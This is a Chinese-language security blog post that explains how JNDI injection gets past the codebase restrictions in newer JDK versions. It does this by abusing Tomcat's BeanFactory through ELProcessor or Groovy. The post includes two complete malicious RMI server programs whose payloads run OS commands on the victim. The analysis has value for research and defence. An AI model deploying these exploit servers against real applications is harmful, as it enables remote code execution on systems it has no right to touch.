利用本地Factory绕过jdk高版本限制进行jndi注入

警告
本文最后更新于 2021-10-20,文中内容可能已过时。

在java中jndi注入是一个老生常谈的问题

# jndi注入

在java中jndi注入是一个老生常谈的问题,而jndi注入用一行代码表示如下

1
new InitialContext().lookup(request.getParameter("q"));

当lookup()函数的值可控时,可以自己搭建恶意的rmi/ldap服务,客户端加载我们恶意的服务端类对象codebase,并创建实例,使得static代码块中的代码被执行。

oracle在jdk8u121使用trustURLCodebase限制了rmi对于codebase的远程加载,但是可以使用ldap绕过,但是8u191之后ldap同样不能使用。由此本文展开对于8u191之后的jndi注入的利用。

# 高版本jdk的限制所在

com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)

image.png

进行decodeObject(),跟进

image.png

断点的地方就是trustURLCodebase所在的限制。分析if条件得到如果Reference对象var8不为空并且var8的classFactoryLocation字段不为空,那么就抛出异常。

绕过也是出在这里

# 绕过

如上文所说,如果我们构造一个classFactoryLocation字段为空的Reference对象,那么这个if就过去了。即

1
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);

通过ResourceRef的构造方法,赋予最后一个字段为空即可。接下来继续走到NamingManager.getObjectInstance(var3, var2, this, this.environment);

image.png

在getObjectFactoryFromReference()有具体的加载规则

image.png

首先先尝试从本地classpath中加载类,并且进行了一个ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)的过滤。如果找不到类的话从codebase加载,也就是160行,需要clas为空(本地没找到)、classFactoryLocation不为空,然后173行创建实例。

但是classFactoryLocation不为空的条件和上文的绕过方式冲突了,所以不能用helper.loadClass(factoryName, codebase)来加载类执行代码。

所以重新回到javax.naming.spi.NamingManager#getObjectInstance方法中

image.png

329行绕不过,但是可以加载本地的classpath的ObjectFactory工厂类对象,然后调用其getObjectInstance方法来创建对象。所以我们需要寻找哪个工厂类中的getObjectInstance方法可以利用。

ObjectFactory是一个接口类,getObjectInstance是该类的一个接口

1
2
3
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws Exception;

我们需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中

首先

image.png

加载ELProcessor类,然后

image.png

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且在64行填充了一个string类型的参数作为method的反射调用,在80行通过method名和一个string的参数拿到eval函数

image.png

最后反射调用

image.png

整个rmi的服务端代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {


    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilEL", referenceWrapper);
    }

}

除了el表达式之外还有groovy也可以,原理一样,代码如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1097");
    Registry registry = LocateRegistry.createRegistry(1097);
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
        "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
        "})\n" +
        "def x\n";
    ref.add(new StringRefAddr("x",script));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("evilGroovy", referenceWrapper);
}

# 限制

org.apache.naming.factory.BeanFactory需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。

groovy同样需要groovy和Tomcat依赖。

# 参考

  1. https://www.cnblogs.com/Welk1n/p/11066397.html
  2. https://github.com/orangetw/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。